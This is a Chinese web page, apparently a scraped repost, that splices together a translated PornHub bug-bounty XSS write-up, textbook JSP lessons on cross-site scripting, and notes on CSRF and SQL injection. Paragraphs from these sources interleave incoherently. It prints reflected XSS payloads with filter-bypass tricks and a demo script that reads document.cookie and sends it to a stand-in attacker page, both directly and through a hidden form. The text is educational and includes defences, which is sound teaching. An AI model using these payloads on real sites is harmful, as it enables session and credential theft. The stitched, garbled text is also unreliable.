导致攻击脚本在浏览器中执行,并且其实从xss这

作者: 前端  发布:2019-11-19

成人网站PornHub跨站脚本(XSS)漏洞挖掘记

2017/06/08 · 基础技术 · 1 评论 · XSS

原文出处: FreeBuf   

9159.com 1

相对于客户端,运行着 web 程序的服务器由于其拥有丰富的资源、对外公开的特性和复杂的业务逻辑对于黑客来说往往拥有更大的吸引力和攻破的可能性。

8.4 Web跨站脚本攻击

xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

写在前面的话

当PornHub公布了他们的公开漏洞奖励计划之后,我敢肯定的是该网站之前存在的一些低级漏洞或比较容易发现的漏洞都已经被别人挖出来了。但是当我开始着手挖PornHub的漏洞时,我却在15分钟之内就发现了第一个漏洞,而在几分钟之后我又找出了第二个漏洞。在我整个挖洞生涯中,我从来没有以这么快的速度挖出过漏洞,所以我觉得非常的激动!

作为回报,我收到了PornHub所提供的总共500美金的漏洞奖励,外加一件非常炫酷的T恤衫,衣服的图片我已经发到Reddit上了,如下图所示:

9159.com 2

当我将这张照片发到Reddit上之后,我压根没想到它会受到如此多的关注,而且很多人都向我私信并问我有关挖洞的事情,例如“你是怎样完成攻击的?”以及“你为什么要攻击PornHub?”等等。由于要遵守漏洞奖励计划的规定,我当时并不能给大家回答这些问题,但是现在这些漏洞已经被修复了,所以我打算在这篇文章中跟大家描述一下挖洞的整个经过。

对于xss这一个漏洞十分感兴趣,或者出于各种各样的目的需要深入学习,其实绝大多数网络上博客、包括一些开源的工具,时效性较差,给初学者带来很多困扰和不必要的坑。 我仅以xss这个漏洞的名称来举例:本身这个漏洞的名字叫 corss site scripting  简写为css,但是之所以叫xss是因为css与web浏览器中解析的层叠样式表(css)重名,故取名xss。然而,cross site scripting 直译过来叫做跨站脚本攻击,其实这个名字本身也存在误导性。如今的web前端开发者应该都清楚,在现代浏览器的同源策略保护下,浏览器中的跨域行为受到了限制,并且其实从xss这个漏洞的攻击原理上讲,“跨站”这两个字其实真的没有什么必要。

8.4.1  跨站脚本攻击的原理(1)

大部分的xss漏洞都是由于没有处理好用户的输入,导致攻击脚本在浏览器中执行,这就是跨站脚本漏洞的根源。

挖洞过程

我当时正在使用浏览器浏览PornHub Premium网站,而我仅在20分钟之内就发现并报告了两个反射型跨站脚本(XSS)漏洞。跨站脚本漏洞将允许攻击者在一个网站中执行恶意脚本,OWASP给出的XSS漏洞定义如下:

“一名攻击者可以利用XSS漏洞向不知情的用户发送恶意脚本。终端用户的浏览器无法确定这些脚本是否可信任,并且会自动运行这些恶意脚本。因为它会认为这个脚本来自一个可信任的源,而恶意脚本将访问浏览器中保存的cookie、会话token或其他的敏感信息,并利用这些信息来完成其他的恶意目的,而有些脚本甚至还可以修改页面的HTML代码。”

9159.com 3

我所发现的第一个漏洞存在于网站的“兑换码”区域,这个文本框并不会对用户的输入数据进行检测,而我们就可以在这个输入框中输入攻击payload了,于是我就可以用下面给出的payload来让页面显示我们的脚本信息:

PAYLOAD+STACK++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

1
PAYLOAD+STACK++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

这个payload的第一部分“PAYLOAD STACK”用于确保我们的payload可以被正常发送。如果我输入的是:

++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

1
++%3E%27" /Autofocus/Onfocus=confirm`1`//&error=1

如果没有输入刚才的“PAYLOAD STACK”,那么Web应用将会屏蔽我所输入的内容,此时页面就不会显示任何脚本内容了。在payload前面输入一些无害内容可以欺骗网站的验证器,而我们的payload就可以正常执行了。

我所发现的第二个漏洞同样是一个XSS漏洞,这个漏洞的发现过程就更简单了。我当时发现了一个只会对新用户显示一次的URL参数,当我在这个参数中输入了一个payload之后就成功触发了网站的XSS漏洞,也许这就是该漏洞为何迟迟没有被发现的原因吧。大多数漏洞猎人会在开始挖洞之前先熟悉一下目标站点,有些人甚至会凭感觉来尝试找出漏洞,但是我一般采用的是一种不同的方法。我个人比较喜欢从匿名窗口入手,此时网站通常会认为我之前从未访问过它,而这些窗口中一般都会存在安全漏洞。

我发现如果我没有付费的话,我基本上是无法查看PornHub Premium的网站内容的。但是在我支付之前,网站会弹出一个窗口并告知用户当前正在访问色情网站,用户需要点击窗口中的按钮来确定是否急需访问。除此之外我还发现,当我点击了“Enter”(进入)按钮之后,网站URL地址的其中一部分会发生改变并增加了一个参数。这个存在漏洞的参数就是“&compliancePop=no_gateway”,而我就可以在这个参数中输入下面给出的payload:

&compliancePop=no_gateway%22-confirm`1`-%22

1
&compliancePop=no_gateway%22-confirm`1`-%22

加载了这个payload之后,我就可以让网站显示出“1”,也就是我们payload中的信息,而这就意味着这里存在一个XSS漏洞。

9159.com 4

跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。

xss攻击类型

总结

我将这两个漏洞都上报给了PornHub,他们也在24小时之内对漏洞进行了审核确认。我很感谢PornHub的工作人员给我们提供了一个非常公平的漏洞奖励计划,而且我也要为他们的工作效率和快速响应能力点个赞。更重要的是,他们非常在意用户的安全,这也是很多其他的网站应该学习的地方。

如果你还想知道更多的挖洞经验,请关注我的Twitter(@ jon_bottarini)。

1 赞 1 收藏 1 评论

9159.com 5

9159.com,请点击此处输入图片描述

跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件:

1.非持久型XSS攻击

跨站脚本攻击(XSS)

客户端访问的网站是一个有漏洞的网站,但是他没有意识到;

非持久型XSS(Non-persistent)又叫做反射XSS(Reflect XSS),它是指那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。

原理:

在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);

非持久型XSS漏洞实际上大多数攻击数据是包含在URL中的,类似这样的:

服务器没有对用户的输入做到充足的过滤,导致页面被嵌入恶意脚本

客户点击后,代码执行,可以达到攻击目的。

2.持久型XSS攻击

分类:

XSS属于被动式的攻击。为了让读者了解XSS,首先我们举一个简单的例子。有一个应用,负责进行书本查询,代码如下:

持久型XSS(Persistent)又叫做存储XSS(Stored XSS),与非持久型XSS相反,它是指通过提交恶意数据到存储器(比如数据库、文本文件等),Web应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。

反射型:只能通过用户点击恶意构造的链接才能触发攻击

query.jsp

持久型XSS攻击就简单一点,只要第一次把攻击代码提交到服务器就一劳永逸了。比如我在某个论坛发帖的时候,论坛没有对传入的HTML作处理,那么我就可以发一个帖子内容包含“[code]”的帖子。呵呵,然后就守株待兔地等着来看帖子的人执行恶意脚本了。持久型XSS漏洞是把恶意脚本存储到了数据库,访问页面的时候完全没有预兆,所以它的危害也比非持久型XSS略微高一点。

存储型:恶意代码保存在服务器,只要有人访问该页面就会触发攻击

1 <%@ page language="java" import="java.util.*"
2  pageEncoding="gb2312"%> 
3 欢迎查询书本  
4 <form action="queryResult.jsp" method="post"> 
5     请您输入书本的信息:<BR> 
6     <input name="book" type="text" size="50"> 
7     <input type="submit" value="查询">      
8 </form> 

常见的xss攻击方法

效果:

运行结果如下:

1.绕过XSS-Filter,利用<>标签注入Html/JavaScript代码;

通过获取用户的 cookie,实现会话劫持

9159.com 6

9159.com 7%E2%80%9D/)

通过在页面伪造表单,获取用户的账号密码

运行query.jsp,输入正常数据,如"安全编程技术":

9159.com 8

XSS 蠕虫

 

9159.com 9

实现方式:

 
  1. 利用CSS跨站。例如:Body {backgrund-image: url(“javascript:alert(‘xss’)”)};

在可提交的输入框中构造输入,有时需要闭合引号,中括号等,有时需要对输入进行编码以绕过 WAF。

 

9159.com 10

一般情况下,手动查找 XSS 注入点通常需要结合查看网页的源代码,找到自己的输入出现在了页面的哪个地方,然后根据该点附近的上下文构造恶意代码,比如,一个用 php 编写的页面为:

提交,显示的结果是:

7.利用字符编码,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式)

".$input.""; ?>

 

8.拆分跨站法,将xss攻击的代码拆分开来,适用于应用程序没有过滤 XSS关键字符(如<、>)却对输入字符长度有限制的情况下;

在正常情况下,用户的请求会在页面中显示出来。但是如果提供给 param 的参数是一段 HTML 代码,那么浏览器就会将它当做代码解析执行

 

9.DOM型的XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致DOM型的XSS的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、

值得注意的地方:

 

Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;

有时 web 程序会用转义字符的方式转义特殊字符,然而,如果数据库使用的编码方式与 web 程序不同时,特别是数据库使用的是双字节字符编码,而负责过滤的 web 程序使用的是单字节字符编码,可能会导致过滤失败。例如,数据库使用了 GBK 编码,而 web 应用使用的是 ASCII 编码,当用户输入 0xbf27 时,由于 27 是单引号 ',web 程序会将其转义,变成 0xbf5c27,但是在数据库中,由于使用的是 GBK 编码,会将 bf5c 认为是一个字符,从而再次暴露了单引号 '

结果没有问题。但是该程序有漏洞。比如,客户输入"<I><FONT SIZE=7>Java</FONT></I>":

XSS攻击防御

HTTP 参数污染有时可以绕过 WAF 的过滤

 

原则:不相信客户输入的数据

跨站请求伪造(CSRF)

 

注意:  攻击代码不一定在中

原理:

 

1.使用XSS Filter。

由于

查询显示的结果为:

输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # javascript expression  "onclick="  "onfocus";过滤或移除特殊的Html标签, 例如: , iframe> ,  < for , " for;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。

简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的

 

输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。

——维基百科

 

2.DOM型的XSS攻击防御

用户访问完某个网站之后,浏览器会在一定时间内保存这个网站产生的 cookie,如果在这个 cookie 的有效期内,攻击者可以利用浏览器再次访问网站时会自动带上 cookie 的特性伪造请求,实现了 CSRF

 

把变量输出到页面时要做好相关的编码转义工作,如要输出到 中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。

效果:

该问题是网站对输入的内容没有进行任何标记检查造成的。打开queryResult.jsp的客户端源代码,显示为:

3.HttpOnly Cookie

可以执行任意在用户的权限内的操作

 

将重要的cookie标记为http only,   这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:

实现方式:

 

原链接:

在可跨域的标签如img、iframe中构造恶意 url,或构造使用 post 方法的表单并诱导用户访问该页面,即可实现攻击

 

总结针对 web 程序的攻击方式,这些方式造成的后果不一,小到会话劫持,大到直接拿到服务器的管理员权限,这完全取决于 web 程序的安全设置,但从根本上来说,这些安全问题都是可以彻底避免的。

更有甚者,我们可以输入某个网站上的一幅图片地址(此处引用google首页上的logo图片):

经测试,发现 User ID 的输入框中存在反射型的 XSS 漏洞,在该输入框中构造输入:test" onmouseover=prompt(100) bad=',点击 Go 提交该输入后,在返回的页面中已被嵌入了恶意代码,当鼠标移动到 User ID 上后,会弹出一个提示框

 

9159.com 11

 

请点击此处输入图片描述

 

XSS 后的页面

显示结果为:

查看网页的源代码,可以发现 User ID 这个输入框确实被我们的输入控制了

 

XSS 后的页面和正常页面的源码比较

 

9159.com 12

 

请点击此处输入图片描述

很显然,结果很不正常!

值得注意的地方

以上只是说明了该表单提交没有对标记进行检查,还没有起到攻击的作用。为了进行攻击,我们将输入变成脚本:

如果在前端过滤用户输入的话,可以使用 Burp Suite 等工具绕过过滤

 

设置 HttpOnly 可以禁止客户端的脚本访问 cookie,但是依然可以通过抓包的方式获取到 cookie

SQL 注入

8.4.1  跨站脚本攻击的原理(2)

原理:

提交,结果为:

服务器没有对用户的输入做到充分的过滤,导致可执行任意 SQL 语句

 

效果:

说明脚本也可以执行,打开queryResult.jsp客户端源代码,为:

如果当前用户具有对数据库的读权限,导致数据库信息泄露

 

如果当前用户具有对数据库的读写权限,可对数据库进行任意修改

于是,程序可以让攻击者利用脚本进行一些隐秘信息的获取了!输入如下查询关键字:

如果当前用户具有对数据库的管理员权限,可对数据库的用户及数据库进行任意操作

 

对于XSS的漏洞挖掘过程,其实就是一个使用Payload不断测试和调整再测试的过程,这个过程我们把它叫做Fuzzing;同样是Fuzzing,有些人挖洞比较高效,有些人却不那么容易挖出漏洞,除了掌握的技术之外,比如编码的绕过处理等,还包含一些技巧性的东西,掌握一些技巧和规律,可以使得挖洞会更加从容。

提交,得到结果:

Fuzzing(模糊测试)是挖掘漏洞最常用的手段之一,不止是XSS,应该可以说Fuzzing可以用于大部分类型的漏洞挖掘。通俗可以把这种方式理解为不断尝试的过程。黑客入门书籍《网络黑白》t宝有

 

消息框中,将当前登录的sessionId显示出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该用户session,获取一些信息。

提示

在JSP系列中, sessionId保存在Cookie中。

实际的攻击是怎样进行的呢?如前所述,攻击者为了得到客户的隐秘信息,一般会在网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);客户点击后,代码执行,可以达到攻击目的。比如,可以给客户发送一个邮件,吸引客户点击某个链接。

以下模拟了一个通过邮件点击链接的攻击过程。攻击者给客户发送一个邮件,并且在电子邮件中,通过某个利益的诱惑,鼓动用户尽快访问某个网站,并在邮件中给一个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执行了这段代码。

我们模拟一个邮箱系统,首先是用户登录页面,当用户登录成功后,为了以后操作方便,该网站采用了"记住登录状态"的功能,将自己的用户名和密码放入cookie,并保存在客户端:

login.jsp

 1 <%@ page language="java" import="java.util.*"
 2  pageEncoding="gb2312"%> 
 3 欢迎登录邮箱  
 4 <form action="login.jsp" method="post"> 
 5     请您输入账号:  
 6     <input name="account" type="text"> 
 7     <BR> 
 8     请您输入密码:  
 9     <input name="password" type="password"> 
10     <BR> 
11     <input type="submit" value="登录"> 
12 </form> 
13 <%  
14     //获取账号密码  
15     String account = request.getParameter("account");  
16     String password = request.getParameter("password");  
17     if(account!=null)  
18 {  
19         //验证账号密码,假如账号密码相同表示登录成功  
20         if(account.equals(password))  
21 {  
22             //放入session,跳转到下一个页面  
23             session.setAttribute("account",account);  
24             //将自己的用户名和密码放入cookie  
25             response.addCookie(new Cookie("account",account));  
26             response.addCookie(new Cookie("password",password));  
27             response.sendRedirect("loginResult.jsp");   
28         }   
29 else  
30 {  
31              out.println("登录不成功");  
32         }   
33     }   
34 %> 

8.4.1  跨站脚本攻击的原理(3)

运行,得到界面如下:

 

 

 

输入正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页面底部有一个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:

loginResult.jsp

 1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
 2 <%//session检查  
 3     String account = (String)session.getAttribute("account");  
 4     if(account==null)  
 5 {  
 6         response.sendRedirect("login.jsp");  
 7     }  
 8 %> 
 9 欢迎<%=account%>来到邮箱!  
10 <HR> 
11 <a href="mailList.jsp">查看邮箱</a>

运行效果如下:

 

 

 

为了模拟攻击,点击"查看邮箱",我们在里面放置一封"邮件"(该邮件的内容由攻击者撰写)。代码如下:

mailList.jsp

 1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
 2 <%  
 3     //session检查,代码略  
 4  %> 
 5 <!—以下是攻击者发送的一个邮件--> 
 6 这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR> 
 7 <script type="text/javascript"> 
 8     function send()  
 9 {  
10         var cookie = document.cookie;  
11         window.location.href = "
12 http://localhost/attackPage.asp?cookies=" + cookie;  
13     }  
14 </script> 
15 <a onClick="send()"><u>领奖</u></a> 

效果如下:

 

 

注意,这里的"领奖"链接,链接到另一个网站,该网站一般是攻击者自行建立。,为了保证真实性,我们在IIS下用ASP写了一个网页,因为攻击者页面和被攻击者页面一般不是在一个网站内,其URL为:

1 http://localhost/attackPage.asp

很明显,如果用户点击,脚本中的send函数会运行,并将内容发送给。假设的源代码如下:

1 <%@ Language = "VBScript" %> 
2 这是模拟的攻击网站(IIS)<BR> 
3 刚才从用户处得到的cookie值为:<BR> 
4 <%=request("cookies")%> 

注意,attackPage.asp要在IIS中运行,和前面的例子运行的不是一个服务器。

用户如果点击了"领奖"链接,attackPage.jsp上显示:

 

 

 

Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!

此时,客户浏览器的地址栏上URL变为(读者运行时,具体内容可能不一样,但是基本效果相同):

http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%2
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF 

8.4.1  跨站脚本攻击的原理(4)

从这个含有恶意的脚本的URL中,比较容易发现受到了攻击,因为URL后面的查询字符串一眼就能看出来。聪明的攻击者还可以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:

mailList.jsp

 1 <%@ page language="java" import="java.util.*"
 2  pageEncoding="gb2312"%> 
 3 <%  
 4     //session检查,代码略  
 5  %> 
 6 <!—以下是攻击者发送的一个邮件--> 
 7 这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR> 
 8 <script type="text/javascript"> 
 9     function send()  
10 {  
11         var cookie = document.cookie;  
12         document.form1.cookies.value=cookie;  
13         document.form1.submit();  
14     }  
15 </script> 
16 <form name="form1" action="http://
17 localhost/attackPage.asp" method="post"> 
18     输入姓名:<input name=""> 
19     <input type="hidden" name="cookies"> 
20     <input type="button" value="提交姓名" onClick="send()"> 
21 </form> 

该处将脚本用隐藏表单隐藏起来。输入姓名的文本框只是一个伪装。效果为:

 

attackPage.asp不变。不管你输入什么姓名,到达attackPage.asp都会显示:

 

也可以达到攻击目的。而此时,浏览器地址栏中显示为:

 

用户不知不觉受到了攻击。

提示

实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他手段得知,也就是说,cookie的值不可能直接在攻击页面上显示,否则很容易被用户发现,这里只是模拟。

从以上例子可以看出,XSS可以诱使Web站点执行本来不属于它的代码,而这些行代码由攻击者提供、为用户浏览器加载,攻击者利用这些代码执行来获取信息。XSS涉及到三方,即攻击者、客户端与客户端访问的网站。XSS的攻击目标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于网站的Web应用对用户提交请求参数未做充分的检查过滤。

8.4.2  跨站脚本攻击的危害

XSS攻击的主要危害包括:

盗取用户的各类敏感信息,如账号密码等;

读取、篡改、添加、删除企业敏感数据;

读取企业重要的具有商业价值的资料;

控制受害者机器向其它网站发起攻击;等等。(本文转自

 

本文由9159.com发布于前端,转载请注明出处:导致攻击脚本在浏览器中执行,并且其实从xss这

关键词:

上一篇:没有了
下一篇:没有了